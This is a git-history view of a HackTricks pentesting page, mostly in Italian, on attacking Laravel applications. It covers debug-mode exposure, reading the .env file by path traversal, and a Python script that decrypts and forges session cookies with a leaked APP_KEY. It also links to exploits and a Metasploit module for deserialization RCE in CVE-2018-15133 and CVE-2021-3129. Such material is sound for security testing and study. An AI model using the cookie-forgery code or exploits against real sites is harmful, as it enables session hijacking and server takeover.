hacktricks/network-services-pentesting/pentesting-web/laravel.md

127 lines
6.9 KiB
Markdown
Raw Normal View History

2022-12-03 17:35:56 +00:00
# Laravel
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Laravel Tricks
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
### Modalità di debug
Se Laravel è in **modalità di debug** sarai in grado di accedere al **codice** e ai **dati sensibili**.\
Ad esempio `http://127.0.0.1:8000/profiles`:
![](<../../.gitbook/assets/image (1046).png>)
Questo è solitamente necessario per sfruttare altre CVE RCE di Laravel.
2022-12-03 17:35:56 +00:00
### .env
2020-11-12 00:37:38 +00:00
Laravel salva l'APP che utilizza per crittografare i cookie e altre credenziali all'interno di un file chiamato `.env` che può essere accessibile utilizzando un percorso di traversamento sotto: `/../.env`
2020-11-12 00:37:38 +00:00
Laravel mostrerà anche queste informazioni all'interno della pagina di debug (che appare quando Laravel trova un errore ed è attivata).
2020-11-12 00:37:38 +00:00
Utilizzando la chiave segreta APP\_KEY di Laravel puoi decrittografare e ri-cifrare i cookie:
2020-11-12 00:37:38 +00:00
### Decrypt Cookie
2020-11-12 00:37:38 +00:00
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
2024-02-10 13:03:23 +00:00
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
2020-11-12 00:37:38 +00:00
def mcrypt_encrypt(value, iv):
2024-02-10 13:03:23 +00:00
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
2020-11-12 00:37:38 +00:00
def decrypt(bstring):
2024-02-10 13:03:23 +00:00
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
2020-11-12 00:37:38 +00:00
def encrypt(string):
2024-02-10 13:03:23 +00:00
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
2020-11-12 00:37:38 +00:00
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(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\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
2022-12-03 17:35:56 +00:00
### Laravel Deserialization RCE
2020-11-12 00:37:38 +00:00
2024-02-10 13:03:23 +00:00
Versioni vulnerabili: 5.5.40 e 5.6.x fino a 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
2020-11-12 00:37:38 +00:00
2024-02-10 13:03:23 +00:00
Qui puoi trovare informazioni sulla vulnerabilità di deserializzazione: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
2020-11-12 00:37:38 +00:00
Puoi testarla e sfruttarla usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Oppure puoi anche sfruttarla con metasploit: `use unix/http/laravel_token_unserialize_exec`
2020-11-12 00:37:38 +00:00
2022-12-03 17:35:56 +00:00
### CVE-2021-3129
2021-09-06 19:52:01 +00:00
2024-02-10 13:03:23 +00:00
Un'altra deserializzazione: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
2021-09-06 19:52:01 +00:00
2022-12-03 17:35:56 +00:00
### Laravel SQLInjection
2020-11-12 00:37:38 +00:00
Leggi informazioni su questo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2020-11-12 00:37:38 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary>Supporta HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}